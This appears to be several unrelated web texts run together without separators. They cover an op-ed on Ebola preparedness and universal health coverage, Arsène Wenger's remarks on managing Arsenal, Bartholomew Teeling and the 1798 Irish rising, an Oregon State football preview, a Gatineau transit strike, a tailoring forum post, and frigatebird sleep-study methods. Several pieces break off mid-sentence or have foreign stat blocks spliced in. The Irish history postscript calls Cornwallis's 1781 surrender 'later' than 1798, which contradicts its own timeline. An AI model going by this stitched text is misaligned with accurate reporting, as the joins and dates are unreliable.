Back in October 1999, I attended a meeting at the Paris headquarters of MSF-France, aimed at finding ways to improve poor countries’ access to basic medicines and supplies. Also at the meeting was Ariel Pablos-Méndez, a physician who is now the head of global health efforts for the U.S. Agency for International Development (USAID). The meeting was disturbed by an uproar, as shouting and screaming could be heard from below. An MSF physician raced up the stairs shouting, "We won the Nobel Peace Prize!" and pandemonium ensued. As Pablos-Méndez recalled last week at a health event coinciding with the U.N. General Assembly opening, we all danced late into the night in celebration.
Today MSF has no time to think about that Nobel Prize, as its volunteers are deployed to a staggering array of crises around the world, including the Ebola epidemics in West Africa and, separately, the Democratic Republic of the Congo.
Pablos-Méndez last week recalled the MSF jubilation of 1999 and a commitment born from it to achieve universal health coverage (UHC) for every human being on Earth. Ten years after that day of MSF joy, we co-authored, along with Bangladeshi global-health superstar Mushtaque Chowdhury, the first call for UHC, published in the Lancet. We imagined that the U.N. might one day embrace UHC and aim to bolster countries’ abilities to treat and protect their populations from diseases, including such horrors as Ebola. It now appears likely that UHC will, indeed, be among the U.N.’s Sustainable Development Goals — targets for global achievement by 2030.
But a more recent, sobering connection to noble health targets and MSF came to me this summer when Sophie Delaunay, executive director of MSF in the United States, asked me, "Where are all those Americans that were trained in bioterrorism and epidemics? We need them." USAID told Delaunay there were no such cadres of disease-fighting Americans ready to step into the breach. Similar questions have been raised regarding Ebola drugs, cures, and vaccines — where are they?
Following the 9/11 attacks and the subsequent anthrax mailings to prominent media and political leaders, George W. Bush’s administration ordered billions of dollars’ worth of preparedness efforts. As I described in my 2011 book, I Heard the Sirens Scream, the Bush administration and Congress created programs such as Project BioShield that were meant to find cures and vaccines for special pathogens, including Ebola. And through the CDC, billions of dollars were funneled to local health departments across all 50 states and the territories of the United States to create bioterrorism and pandemic preparedness teams. Every local health department and hospital in the United States has, since 2002, undergone repeated drills in which local responders — police, fire departments, hazmat teams, physicians, public health workers, nurses — simulate their scripted actions in response to an outbreak of one of the CDC’s designated special pathogens (including Ebola). Massive time and money have been spent in towns and cities, often at the expense of other essential public health services. As I wrote, many local health departments felt compelled to fire cancer prevention workers or HIV educators, replacing their budget lines with bioterrorism responders in order to obtain federal funding during the Bush presidency. The Defense Department ran similar training exercises within all branches of the armed forces. And inside the CDC, many of the ranks of science were replaced with terrorism preparedness expertise, chiefly drawn from law enforcement and the military.
Where is all that expertise now? Where are the miracle drugs, vaccines, hazmat experts, and medevac teams?
They don’t exist. Hundreds of billions of dollars and many years later — they don’t exist.
BioShield failed because lab-bench invention of drugs and vaccines could not be translated into clinical trials and commercial development without adequate profit potential for biotech and pharmaceutical industries — options nobody could guarantee given the rarity with which such diseases as tularemia, anthrax, and Ebola present.
The military’s sense of priority in its biopreparedness efforts focused on safe rescue of its personnel from a bioterrorism or outbreak situation. As described in 2005 by officers in the Special Medical Augmentation Response Team-Aeromedical Isolation — also called the SMART-AIT — which trained U.S. and allied military cadres, "It’s a get-in, get-out situation because a lot of people could be put at risk if they come in contact with the viruses that cause those fevers."
In all the civilian and military training, the focus was similarly on containment and rapid response — not on months of patient care executed by exhausted doctors and nurses working inside 120-degree spacesuits, facing a virus that has 70 percent odds of killing them should a slip-up leave them exposed to Ebola.
Americans believe in technology. Some have imagined that computers, sifting through worldwide Facebook, Twitter, and news reports, could spot outbreaks before health officials might, offering early-warning systems that would obviate concern for pandemics. The enthusiasm over the now nonexistent experimental drug ZMapp captured American belief in miracle cures and biotech savvy. Almost daily I receive claims from companies and individuals of phone apps that can track Ebola cases, hidden cures, drugs sitting on shelves that might stop Ebola.
If the world wants the epidemic to end without claiming 980,000 lives by the end of January and without spreading beyond its current boundaries, the narratives guiding the response must embrace reality.
The reality is as Obama put it at the U.N. last week: This is an all-hands-on-deck moment for mobilization of the basics. Sure, keep searching for drugs and vaccines. Keep struggling to build UHC and better health systems. But right now the Ebola world needs doctors, nurses, paved roads, electricity, oil, medical supplies, cots, protective gear, hydration kits, food, helicopters, airplanes, logistics expertise, mass communications education, soap, disinfectants, and, most of all, cause for hope.
And it needs all these things, yesterday.Get the biggest Arsenal FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Arsene Wenger claims stepping into the manager’s hot-seat at Arsenal was like becoming a priest.
But despite taking his Gunners' vows way back in 1996, boss Wenger admitted he will have to make a “lucid and objective” decision on his future this summer.
The 67-year-old was talking after Luis Enrique announced he was quitting as Barcelona manager at the end of the season because a job he only got appointed to in 2014 has left him exhausted.
Wenger, despite being more than 20 years older than Enrique, made it clear he would like to stay on as Arsenal manager, but is not oblivious to the level of criticism ahead of another crunch week.
“Look at me!” he laughed, when asked about his Nou Camp counterpart admitting he is worn out after less than three seasons in the Catalan giants' hot-seat. “I am a specialist in masochism.
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“That’s what I always say to all the young people who want to go into this job: 'Are you ready to sacrifice your life?’
"It’s like a priest — you’re a football priest. Football becomes your life. Every manager will tell you that.
"You have to be fit, of course. I run every day. I still play football. If you [the media] have a game at the end of the season, I will play. And, if you |
acht’ go brách!”
(Chorus Fir an Iarthair, Gaeilge translation of the same song by [researching at present]……..)
But meanwhile a British army of some 26,000 men was assembled under Field Marshall Lord Cornwallis, who had just been appointed Lord Lieutenant of Ireland (i.e. the British Queen’s representative) and was steadily moving towards the insurrectionist forces.
Abandoning Castlebar (where the victorious French held a ball to draw in the locals “of substance”), Humbert moved towards Ulster via Sligo hoping to link up with United Irishmen there, although the United Irishmen in Antrim had been beaten in a number of battles, the last one being at Ballynahinch on June 12th.
ONE MAN AGAINST MUSKETS AND CANNON
The combined Franco-Irish forces marched north-eastwards towards Sligo on their way to County Donegal in Ulster. On 5th September 1798 their progress was blocked by a unit of British troops from the garrison in Sligo, from approximately five miles to the north of Collooney. The British had installed a cannon above Union Rock at Carricknagat, a small townland to the immediate north of Collooney (hence the alternate name for the battle: the Battle of Carricknagat). The cannon was protected by a screen of infantry including a sharpshooter by the cannon itself. Charging the cannon would mean the death of many by cannon shot and by musket fire. On the other hand, a detour would cost valuable time with large British forces following behind.
Suddenly Bartholomew Teeling broke from the Franco-Irish forces and charged forward on his horse. One may imagine the scene: the British at first watch incredulously, then a scattered fire of muskets. Teeling is unharmed, galloping onwards. The British sharpshooter by the cannon coolly takes aim. Teeling eyes him and suddenly swerves his horse; the shot goes past him. The sharpshooter curses and reloads. Another ragged volley from the infantry and again they miss.
The French and the Irish are cheering but they can’t believe he will make it. Teeling’s horse leaps a ditch and gallops on past the infantry, foam flying from the animal’s body – the sharpshooter looks up at him, loses his nerve and fumbles the charging of his musket …. Teeling is up at the gun, he has drawn his pistol and shoots the sharpshooter dead. He draws another pistol and shoots the gunner. The Irish and French are ecstatic and charge forward. The British are stunned; some stand but most of the British infantry flee from the superior numbers and leave the cannon in the hands of the insurrectionist forces, as well as 60 dead and 100 taken prisoner.
Strangely, Colonel Charles Vereker, who commanded the Limerick militia in the stand-off, was awarded a peerage for his role in the battle.
NEW HOPE – AND DEFEAT
Hearing of a renewed United Irish offensive with risings in Westmeath and Longford, and perhaps with hopes of gathering support for a march on Dublin, Humbert turned and crossed the Shannon at Baile an Trá (Ballintra) on 7th September, stopping at Cloone that evening. He was halfway between where he had originally landed and Dublin. But that evening some survivors reached his camp to tell of the defeats of the insurgents at Wilson’s Hospital and at Granard.
Cornwallis was blocking the road to Dublin with a huge army and General Lake, smarting from his defeat at Castlebar, was expected with his forces soon. In addition, Humbert’s rearguard was being constantly harassed and due to sabotage they had lost two cannon.
Humbert knew he was finished but felt military honour obliged him to make some kind of a stand, which he did at Ballinamuck, on the borders of the counties Longford and Leitrim. About half an hour into the battle, Humbert signalled his surrender. The British gave the French prisoner-of-war status but there was no such thing for “rebels”. The 1,000 or so Irish forces and Teeling, perhaps knowing their fate, held on to their weapons but they were charged by British infantry and then dragoons; as they broke, they were hunted down.
Soon the bodies of about 500 Irish lay dead on the field and 200 prisoners were taken in mopping-up operations; almost all were later hanged, including Matthew Tone, brother of Wolfe Tone. Most of the prisoners were marched to Carrick-on-Shannon, St. Johnstown (Ballinalee today), where they were executed in what is known locally as Bully’s Acre (there is also a Bully’s Acre in Dublin, part of the Royal Hospital of Kilmainham grounds, across the Liffey and a little to the west from Croppies’ Acre and Arbour Hill). For some reason, Teeling and Matthew Tone were taken to Dublin.
Humbert and his men were also taken to Dublin, by canal, to be sent back to France. The British army then slowly spread out into the “Republic of Connacht” in a campaign of atrocities and destruction. Many more were hunted down and hanged.
The catastrophe at Ballinamuck made a strong impression on social memory and was strongly represented in local folklore. Numerous statements in the oral tradition were later collected about this event, most of them in the 1930s by the historian Richard Hayes and by the Irish Folklore Commission.
“PERSEVERE, MY BELOVED COUNTRYMEN. YOUR CAUSE IS THE CAUSE OF TRUTH. IT MUST AND WILL ULTIMATELY TRIUMPH.”
As Ireland was under martial law after the uprising, Bartholomew Teeling was tried by court-martial as an Irish rebel, the charge being treason for which the sentence was death. He was identified to the British by William Coulson, a damask manufacturer from Teeling’s home town of Lisburn. Although Teeling had the rank of Captain in the French Army, to the British he was a British subject engaged in treason and Humbert was unsuccessful in his attempt to have Teeling treated as a French officer. The condemned man was hanged at Arbour Hill Prison in Dublin (no longer in existence but the graveyard/ and 1916 memorial is still there), in his French uniform adorned with an Irish tricolour in his hat.
“Neither the intimation of his fate, nor the near approach of it, produced on him any diminution of courage. With firm step and unchanged countenance he walked from the Prevot to the place of execution, and conversed with an unaffected ease while the dreadful apparatus was preparing.” (330. United Irishmen, their Lives and Times: Third Series: Robert R. Madden, M.D. 3 vols. Dublin, 1846).
Teeling attempted to read the following statement from the scaffold, but was not permitted to:
“Fellow-citizens, I have been condemned by a military tribunal to suffer what they call an ignominious death, but what appears, from the number of its illustrious victims, to be glorious in the highest degree. It is not in the power of men to abase virtue nor the man who dies for it. His death must be glorious in the field of battle or on the scaffold.
“The same Tribunal which has condemned me — Citizens, I do not speak to you here of the constitutional right of such a Tribunal — has stamped me a traitor. If to have been active in endeavouring to put a stop to the blood-thirsty policy of an oppressive Government has been treason, I am guilty. If to have endeavoured to give my native country a place among the nations of the earth was treason, then I am guilty indeed. If to have been active in endeavouring to remove the fangs of oppression from the head of the devoted Irish peasant was treason, I am guilty.
“Finally, if to have striven to make my fellow-men love each other was guilt, then I am guilty. You, my countrymen, may perhaps one day be able to tell whether these were the acts of a traitor or deserved death. My own heart tells me they were not and, conscious of my innocence, I would not change my present situation for that of the highest of my enemies.
“Fellow-citizens, I leave you with the heartfelt satisfaction of having kept my oath as a United Irishman, and also with the glorious prospect of the success of the cause in which we have been engaged. Persevere, my beloved countrymen. Your cause is the cause of Truth. It must and will ultimately triumph.”
It is the very least we can do to honour the memory of this great man, cut down by oppression at 24 years of age in what would surely have been a life full of achievements, to ensure that where he and many comrades are buried, Croppies’ Acre, is maintained in an appropriate manner and open to visitors, from Ireland and from abroad.
POSTSCRIPT:
In 1800 the Irish Parliament, which was open to Anglican Protestants (Church of Ireland) only, had met in the current Bank of Ireland building at College Green) agreed to the Act of Union of Great Britain and Ireland and voted itself out of existence through Crown bribery and fear.
Cornwallis was later to surrender to a combined American and French force in 1781 at the Battle of Yorktown, which ended the American War of Independence in defeat for Britain.
After many adventures, Humbert settled in New Orleans, where he was once again to fight the British at the Battle of New Orleans in the 1812 War.
General Lake was to have a successful imperial military career with Britain; he was also made an Irish MP (as well as being an MP in England) in the run-up to the vote for the Act of Union 1800 which abolished the Irish Parliament and made Ireland part of the United Kingdom.
AdvertisementsIt makes you wonder, doesn’t it?
I’m speaking specifically about the transition of one coach to another in a program like Oregon State. Whatever you think about Mike Riley, it is hard to argue that he didn’t do pretty well with the pieces that he had. As Bill Connelly points out in his SB Nation preview of the Beavers, it was just five years ago where we were watching the Beavers operate at a Top 10 level and challenge for a PAC 12 championship.
Fast forward to today. The Beavers, arguably, have upgraded their coaching situation with former Utah State and Wisconsin coach Gary Andersen. Yet they are further away from a winning record - much less a top 25 ranking - than they’ve been since before Mike Riley left.
Obviously, we are talking about Oregon State and the college town of Corvallis. Winning there is never a guarantee, even if Nick Saban were to take over the program. Recruiting to Corvallis can be difficult and the level of competition presented by both the traditional powers of the PAC - USC, Washington, etc - and it’s upstarts - Oregon, Utah, etc - is daunting.
Still, is this the way it has to be. Do programs always have to take a step so far back by ripping the program down to the studs in order to rebuild it? Or does such a shock to the system of the program do nothing more than give the competition such a head start that the prospect of competing with them in the future requires other programs to quite literally fall back on their own?
It is a question that I’m sure will trigger debate in the comments. Regardless, we are where we are at with Oregon State which, in my view, is a team that has some interesting upside compared to each of the past two years. But is it enough to get back on the right side of.500?
The Gekko digs in.
OSU’s Offense
Beavers Offensive Breakdown Strengths Weaknesses Key Players Newcomers Strengths Weaknesses Key Players Newcomers OL experience QB uncertainty OT Blake Brandel RB BJ Baylor (RSFr) WR playmaking RB depth TE Noah Togiai WR Aaron Short (Tx) Big play potential RB Atavis Pierce RB Jermar Jefferson (TFr)
The conversion of OSU from a traditional pro-style to more of a spread team has been a painful one for Beaver fans. It’s not so much that the strategy is flawed. It’s really more about the talent available. When Andersen took over, some quality players simply didn’t fit.
You see this most notably at the QB and WR positions where there has been a dizzying array of personnel and position changes over the past two seasons. The case of junior Seth Collins is a case in point. A lightly recruited athlete comes to Corvallis and takes over as a QB thanks mostly to his athleticism. As the season goes on and Andersen comes to realize that Collins will never be able to execute a passing game that highlights the talent of his receiver base, he relives his QB of his duties. Fast forward to today and Collins, who briefly left the program, projects as OSU’s best receiver playing in front of a bevy of QBs who each have a questionable ability to execute the passing offense.
Answering that QB question will be key. The contenders are incumbent Darell Garretson, veteran Marcus McMaryion and newcomer Jake Luton. As I noted in my spring recaps, Luton - who was previously a starter at Idaho - seems to have taken the lead in the competition.
Arizona Wildcats - 2017 recap Record: 7-6 (4-5) Overall S&P: 48th (8th offense, 115th defense) Points Per Game: 41.3 (1st in the PAC) Defensive PPG: 34.4 (10th in PAC) Turnover Margin: +3 (4th in PAC) +20 yard plays: 77 (3rd in PAC) Best Win: vs UCLA, 47-30 Worst Loss: vs Purdue (Foster Farms Bowl), 35-38
If Luton - a big-armed pocket passer - earns the job, I could see OSU playmakers really getting a chance to shine. Collins has turned himself into a fine playmaker while senior Jordan Villamin - who virtually disappeared in 2016 - continues to present a tantalizing set of physical skills just waiting for the right QB. I’m bullish on this unit, especially when you consider the presence of savvy veteran Timmy Hernandez, incoming freshman Isaiah Hodgins and the return from injury of TE Noah Togiai.
The RB situation also looks to be in good shape with stud Ryan Nall leading the pack. Nall is a pure football player, effective in both the passing and rushing games. He’s easily OSU’s best all-around player. The depth is provided by sophomore speedster Artavis Pierce and TCU grad transfer Trevorris Johnson. A come back by former Oregon star Thomas Tyner is a development to watch that had not concluded at the time of drafting this article.
OSU’s O-line is a question mark, but not necessarily in a bad way. There is some experience and talent there. The name everyone is watching is sophomore Gus Lavaka, a preseason all-conference selection by Athlons. This is a young unit, but one that has seven players with PAC 12 playing time logged. It’s fair to expect this unit to be decent, again, in run blocking. It’s the pass blocking where the challenges lie.
OSU’s Defense
Beavers Defensive Breakdown Strengths Weaknesses Key Players Newcomers Strengths Weaknesses Key Players Newcomers DB potential team speed LB Bright Ugwoegbu DL Thor Katoa (injury) interior rush defense pass rush DB David Morris DE Bradley Bickler (TFr) big play prevention DB Jalen Moore DE Jeromy Reichner (Txfr)
If OSU has any designs of winning more than they lose in 2017, they must produce a decent defense. 2016 was not the kind of performance that engenders huge confidence, but it wasn’t a disaster. In fact, the stats from a year ago tell us that OSU was altogether mediocre across the board. Their pass defense - fourth in the PAC on yards per attempt - was generally serviceable while their rush defense - 10 in the PAC on yards per attempt - not so much. 2017, however, is a new year. There are new and young faces all over the place - including in that secondary where they are replacing a couple of their best players in Treston Decoud and Devin Chappell. The good news is that Andersen and his DC Kevin Clune have been playing the Pete Kwiatkowski strategy of rotating young players liberally the past two years. As such, the Beavers young roster does sport quite a bit of field experience.
The bigger question is whether or not the baseline talent is there. This is especially true along that defensive line - a unit that was just about as bad as you could imagine a year ago. Expect Clune to feature a three man front anchored by a couple of beefy NT types in transfer Craig Evans, junior Kalani Vakameilalo and sophomore Elu Aydon. The ends are more experienced and deeper. Napoleon Phillips and Baker Pritchard highlight a group that features seniors across the entire two-deep.
I’m more confident in the back seven. I like the LBs - in particular the disruptive Bright Ugwoegbu. I highlighted Ugwoegbu in last year’s preview as a smallish Tasmanian devil kind of OLB. He delivered on that with a great year in which he racked up 11 TFLs and 5.5 sacks. Along with Andrzej Hughes-Murray, Bright is part of a youth movement that is complemented with upperclassmen leadership in guys like ILB Manase Hungalu and OLB Jonathan Willis. This is a good unit.
The secondary might be go through a bit of a transition, but still ought to be good enough to at least keep big plays from breaking out. Senior Brandon Arnold is the statesman of the backend. He’s a solid leader who will help a couple of upside players - sophomore CB Xavier Crawford and sophomore S Jalen Moore - reach their potential.
One Breakout Player
Craig Evans - Junior DT
There are some good offensive players just looking to get unleashed when paired with a halfway decent QB. In fact, I was determined coming into this preview to write about TE Noah Togiai here as I think he stands to benefit the most from more production out of the QB position.
Stanford 2018 Schedule vs San Diego State vs USC vs UC Davis @ Oregon @ Notre Dame vs Utah @ Arizona State vs Washington State @ Washington vs Oregon State @ Cal @ UCLA
But it is hard to ignore the kind of impact that a guy like Evans can have right away. Evans is a former Michigan State player who arrives at OSU via the JUCO route. He’s a big body - 6’3” and 305 lbs - who is unquestionably the most athletic interior lineman on the Beaver roster. If he’s half as hard to block as OSU fans are hoping, he’ll immediately be a factor in that porous OSU run defense. Keep in mind that simply moving the Beavers back into the middle of the NCAA rankings would be a huge achievement.
Projecting the Beavers
The pieces are starting to come together in Corvallis. I hope that I’ve painted a picture as to how Andersen is going about putting the components of his program in place and how well that it is going when viewed from 30k feet.
It isn’t so much a question as to whether or not OSU is getting better - they clearly are. It is more about whether or not they are keeping up with the competition. The answer to that question is less clear.
I like the playmaking potential that the offense is beginning to flash and it is hard to argue that there isn’t now an establishment of depth in the defense. However, the lack of a clear answer at QB is disconcerting - at least at this point in the summer. Husky fans can also identify with how debilitating an issue a poor to barely mediocre offensive line can be. This might still be an issue for a growing OSU unit.
I’m also not too keen on the OSU schedule. The OOC features a 50/50 home game against Minnesota. Their PAC 12 schedule is a 5-road game affair in which only a late-season matchup against Arizona looks relatively safe. Half of their home games are Washington and Stanford... so that sucks. They do catch a bit of a break with their misses as they would not match up well against either of UCLA or Utah.
I think that OSU is looking at a two-win season for the in-conference with another two-wins on the OOC. To get bowl eligible, they are going to have to take a couple of the 50/50 games like @ Cal, @ Arizona and @ Oregon. That could definitely happen - OSU isnt that far away. But until the QB situation dramatically improves, I’m having a hard time seeing that happen.Gatineau transit workers have set Thursday as the day for their third in a series of rotating one-day strikes.
The Société de transport de l'Outaouais (STO) has been locked in a labour dispute with Local 591 of the Syndicat uni du transport, the union representing drivers and mechanics, who have been without a contract since Dec. 31, 2014.
To increase pressure on the transit agency during negotiations, the union began rotating strikes earlier this month.
Drivers and mechanics have pledged to strike one day a week until management agrees to arbitration and the labour dispute is resolved.
Union president Felix Gendron announced Tuesday that March 30 would be the next strike date.
The STO has urged commuters to consider alternatives such as carpooling, car-sharing, walking or telecommuting on strike days.
The last strike caused a severe shortage of parking in downtown Ottawa as people decided to drive to work.Posted 10 February 2010 - 08:32 PM
This is a book that often gets advertised in period issues of The Tailor & Cutter. It was published in London, 1953 and presents a classical English view on correct riding attire. It is essential reading for any tailor who is called upon to cut equestrian cloths. Riders have very specific requirements in their sport and the cutter must be mindful of these. A bespoke riding garment has the potential to give the competitor an edge both in their presentation, personal confidence as well as it a greater range of movement permitted by the corrected fitted garment. A good many items in the gentleman's wardrobe such as the dress coat, morning coat and hacking jacket also have their origins in riding attire.Animals and instrumentation
The Galápagos National Park Service approved of and granted the research permits for this work. During August, 2014, adult females (N=15) caring for chicks on the coast of Darwin Bay, Genovesa Island, Galápagos, Ecuador (0°19'5.57"N, 89°57'1.23"W) were caught by hand on their nest at night. The chick was covered to keep it warm and safe while its mother was instrumented. Using isoflurane anaesthesia and aseptic methods16, for each cerebral hemisphere, EEG sensors were placed on the dura overlying the anterior (A) and posterior (P) hyperpallium, a structure that forms a pronounced bulge in the cranium of frigatebirds (Fig. 1b; for a CT scan of a similar skull see, www.digimorph.org/specimens/Fregata_magnificens/); the sensors were 8 mm apart along the AP axis, spanning the most pronounced portion of the cranial bulge, and 4 mm from the midline (Fig. 1b). A fifth sensor was placed laterally on the left hemisphere for the electrical ground. The gold-plated, round-tipped (0.5 mm diameter) sensors were secured with a small amount of dental acrylic cured with an ultraviolet light (Clearfil SE Bond, Kuraray Noritake Dental, Japan and Tetric EvoFlow, Ivoclar Vivadent AG, Schaan, Liechtenstein) and connected to a flexible, insulated spring wire (no. 276-0146-001; DSI, St. Paul, MN). The wires were soldered to a data logger (Neurologger 2A; www.evolocus.com, see also www.vyssotski.ch/neurologger2) which included a 3.6 V lithium battery (Saft LS-14250; www.saftbatteries.com) and a three-axis accelerometer (LIS302DLH; STMicro-electronics). The logger was glued (Hystoacryl, Aesculap AG, Germany and Pattex, Repair Gel, Henkel AG & Co. KGaA, Germany) to the skin and feathers just posterior to the naso-frontal hinge (Fig. 1b). The logger was configured to record bipolar EEGs from the left and right hemispheres, and acceleration in the three cardinal directions continuously at 200 Hz for up to 10 days. A GPS data logger (i-gotU, GT-600; www.i-gotu.com) configured to record position every 5 min was attached to the back feathers with gaffer tape (tesa, no. 4671; www.tesatape.com). The total weight (55 g) of the equipment was 4.0% of the birds' weight (1366.79±24.09 g, s.e.m.). Fourteen of the 15 birds were recaptured 7.79±0.49 d (s.e.m.; range, 5.37–10.45 d) later, after returning from at least one foraging trip. In nine of the birds, we obtained recordings (16.40±3.33 h, s.e.m., in duration; Supplementary Fig. 9g) after they returned to the nest to evaluate sleep on land. At the end of the study, the equipment was removed under anaesthesia and the birds were released. On release, the birds resumed nesting behaviour indistinguishable from that observed in undisturbed birds. Finally, to validate our analysis of the flight trajectories in great frigatebirds, we used data recorded from two magnificent frigatebirds (Fregata magnificens) in a pilot study conducted in the French Guiana using a GPS data logger (GiPSy-2, www.technosmart.eu) with a 1 Hz sampling rate combined with a 3D acceleration logger (25 Hz rate; AXY-1, www.technosmart.eu; Fig. 1d,e).
Sleep scoring and EEG analysis
During flight, all days with stable EEGs were scored for time spent awake, and in SWS and REM sleep using 4 s epochs and REMLogic software (Natus Medical, Pleasanton, California)16. All recordings after returning to land were also scored, including the short landings between two flights observed in birds 1 and 5 (Supplementary Figs 1 and 3). A bout of a given state was defined as one or more epochs of that state uninterrupted by a single epoch of another state. The bout durations for wake, SWS, REM sleep and the overall amount of time spent in each state were based on all scored days. The spectral analysis of the EEG focused on a night with comparatively large amounts of sleep and high signal quality (see Supplementary Figs 1–8). For each state, all 4 s artifact free epochs were analysed with the fast Fourier transform (0.25 Hz bins) applied to Hamming-windowed data. SWA and gamma power were estimated from Fourier coefficients taken for ranges 0.75–4.5 and 30–80 Hz, respectively. Medians of SWA and gamma power were used for statistical comparisons. Quartiles for group medians shown in Fig. 4b and Supplementary Figs 14b and 15b are estimated by bootstrap. Interhemispheric asymmetries in SWA and gamma, and their relationship with the mode of flight (Fig. 3d,e), were based on the night with large amounts of sleep. In addition, SWS-related SWA was calculated for the last night of flight to detect potential changes in sleep intensity across the flight (Supplementary Fig. 15b).
Accelerometry analysis
The accelerometer recordings revealed two predominant patterns during flight (Fig. 2a). Flapping flight was characterized by large sinusoidal oscillations (≈2.5 Hz) in the heave and surge axes corresponding to individual wing beats. In contrast, during gliding and soaring flight, the three axes were largely flat or showed slow oscillations likely reflecting a combination of fine manoeuvres and respiratory movements (see expanded view for SWS in Fig. 2a). When gliding and soaring during the day, small, frequent and rapid horizontal movements of the head were superimposed on these slow oscillations. Flight was occasionally interrupted by a rapid decrease in acceleration along the heave axis, corresponding to the bird dropping, presumably due to momentary folding of the wings (Supplementary Movie 4). Finally, bouts of high-frequency activity occurred infrequently in all axes simultaneously, likely reflecting preening, as observed in birds flying over the colony and while on the nest.
Previous studies12,13,26 and our own observations (Fig. 1d), show that frigatebirds exhibit two major flight trajectories; rising in circles (soaring) and straight gliding down. In addition to identifying flapping flight, the accelerometer was useful for discriminating circular from straight flight (Fig. 1e). During both types of flight the absolute air-referenced flight speed averaged over significant time intervals (>4 s) is constant (Fig. 1e). Thus, the tangential (co-directed with the speed vector) acceleration is zero in both flight modes. When the animal flies straight the total acceleration felt by the accelerometer is produced only by the gravity vector g (standard gravity, 1g 0 =9.80665, m s−2). However, during circular flight additional centripetal (radial) acceleration, a r =V2/R (V, speed; R, radius of the trajectory) is added to the acceleration of gravity:. As rotation lies approximately in the horizontal plane, the two acceleration vectors are orthogonal to each other and total acceleration,. Thus, to determine whether the trajectory is straight or not, it is sufficient to measure total acceleration, low-pass filter it to remove the influence of wing flapping and compute radial acceleration from this equation. Radial acceleration above 0.175g 0 corresponded to circling flight (Fig. 3, Supplementary Fig. 16). Total acceleration in circling flight was 1.057±0.003g 0 and radial acceleration was −0.340±0.009g 0 (s.e.m.; see Supplementary Table 1 for values for individual birds). The bank (wing) angle during soaring was measured as arccos(g/a tot ) and was 18.75±0.48° (s.e.m.). However, for our EEG analysis it was also important to know whether the bird was rotating to the right or to the left. This information was obtained by measuring radial acceleration with the accelerometer mounted on the bird’s head with one axis (that is, sway) directed laterally. Because frigatebirds keep their heads straight during both flight modes, we were able to determine radial acceleration directly from the accelerometer without additional transformations. However, to confirm this claim and to increase the accuracy of the radial acceleration measurements we also performed computations without this assumption. The accelerometer was attached to the bird's head in a way such that one axis was orthogonal to the tangential plain of the bird skull and another was directed laterally. Projection of total acceleration on to the tangential plain of the bird skull clearly shows three clusters corresponding to straight and circling flight, with turning to the left and right (see data from one example bird in Supplementary Fig. 16a). To simplify this analysis, we rotated the axes of the head-fixed coordinate system to have one axis directed to the ground during straight flight; however, in the recording examples shown in Figs 2 and 3, Supplementary Fig. 13, acceleration is shown in the original axes of the accelerometer. The following analysis shows that the skull surface tangential plane deviated by 29.86±0.68° (s.e.m.) from the horizon (see Supplementary Table 1; see also Fig. 1a). As a first step we down-sampled the acceleration data to 25 Hz (from original 200 Hz) to decrease computation time. We then filtered out high frequencies by applying a low-pass finite impulse response filter (0.1 Hz; span 40 s). The input data were processed both in the forward and reverse directions and the resulting sequence had precisely zero-phase distortion and doubled filter order. Then, we computed principle components (PCs) in 3D space without mean subtraction. The first PC pointed in the direction of the gravity vector, the second—in the lateral (radial) direction, and the third—in the direction of the speed vector. Because we found that accuracy of the PCs determination can be affected by outliers, mainly due to episodes when the bird drops down with acceleration in the direction of the first PC <0.95g 0, we excluded such points and recomputed the PCs again. In the horizontal plain of the second and the third PCs (Supplementary Fig. 16b), clusters corresponding to rotation to the left and right were aligned relative to the coordinate axes. The best separation was observed along the second PC corresponding to sway acceleration. The vertical lines drawn at sway accelerations ±0.175g 0 reliably separate the three clusters in all birds. Because we wanted to compute rotations of the head relative to straight flight, we repeated the PC analysis, but for points representing straight flight only. Coordinates of the first PC gave the direction to the ground during straight flight. The angle between this direction and skull surface normal is the skull angle shown in Supplementary Table 1. We rotated the coordinate system a second time to have one axis in the direction of the first PC (Supplementary Fig. 17). In this head-fixed coordinate system, during circling flight, the absolute value of lateral (sway) acceleration was 0.321±0.008g 0 (s.e.m.), acceleration in the direction of the flight (surge) was 0.028±0.005g 0 and vertical (heave) acceleration was 1.006±0.001g 0 (see Supplementary Table 1). Assuming zero tangential acceleration as before, we computed the angle of the head turn in circling flight (2.137±0.184°, s.e.m.) relative to straight flight and the direction of the axes over which the turn was performed (right–left: 0.626±0.096°, beak–tail: 0.521±0.111°, down–up: −0.209±0.033°, signs are valid for the case when the animal turns left, but absolute values represent averaged quantities for left and right turns taken together, see Supplementary Table 1). To simplify interpretation of the head turn we computed angular deviations of the head-fixed vector pointing upwards in the lateral (right–left) and anterior–posterior (beak–tail) directions. These deviations were 1.033±0.252° and 1.444±0.233° (signs correspond to the left turn as before). As shown in the table, bank angle (wings-to-horizon) was computed with the assumption that total acceleration was orthogonal to the plane of the wings. This assumption was verified by placing accelerometers on the backs of two magnificent frigatebirds together with the GPS logger in a pilot study (Supplementary Fig. 18). In these two birds, total acceleration during circling flight was 1.053 and 1.067g 0. Standard deviations of sway acceleration were 0.013 and 0.016g 0, and standard deviations of surge acceleration were 0.033 and 0.036g 0, respectively. Thus, the standard deviation of the total acceleration vector in the lateral direction was 0.71° and 0.85° and in the anterior–posterior direction it was 1.80° and 1.38°. Taking the 95% confident border as a more conservative estimate, we obtained 1.45° and 1.67° for sway and 3.60° and 2.81° for surge. These angles are much smaller than the angle of the wing plane to the horizon (18.32° and 20.41°). Thus, our assumption about orthogonality of the plane of the wings to total acceleration is correct.
Detection of wing flaps and drops
Wing flaps and drops were detected by analysing the absolute values of the acceleration vectors recorded by the accelerometer. As a first step, acceleration was down-sampled to 50 Hz to decrease computation time. Then the signal was band-pass filtered 0.25–5 Hz. The finite impulse response filter with an 8 s span was applied in forward and reverse directions to ensure a zero time shift. Deviations in acceleration below −0.4g 0 were selected as potential flaps and drops. Flaps and drops were separated from noise and sorted by the shape of acceleration signal around these events (±0.64 s). The 64-point fragments of the record centred around the detected acceleration minima were sorted using wavelets and a superparamagnetic clustering algorithm37 (WaveClus 2.0 package for Matlab) in birds 1 and 2. After validating the classification algorithm and cluster matching in two birds, the recorded fragments from the remaining birds were sorted using a faster and simpler nearest neighbour algorithm (computing and comparing distances from non-classified elements to the members of the clusters already classified in bird 1). The average shapes of acceleration around flaps, drops and noise are shown in Supplementary Fig. 19a. Flaps produce pseudo-periodical deviations in total acceleration with negative and positive deviations of approximately similar magnitude. These almost sinusoidal deviations are produced by regular up–down wing movements. Contrary to flaps, drops are characterized by a strong negative deviation followed by a slow positive compensation. They are produced by momentary folding of one or both of the wings (see Supplementary 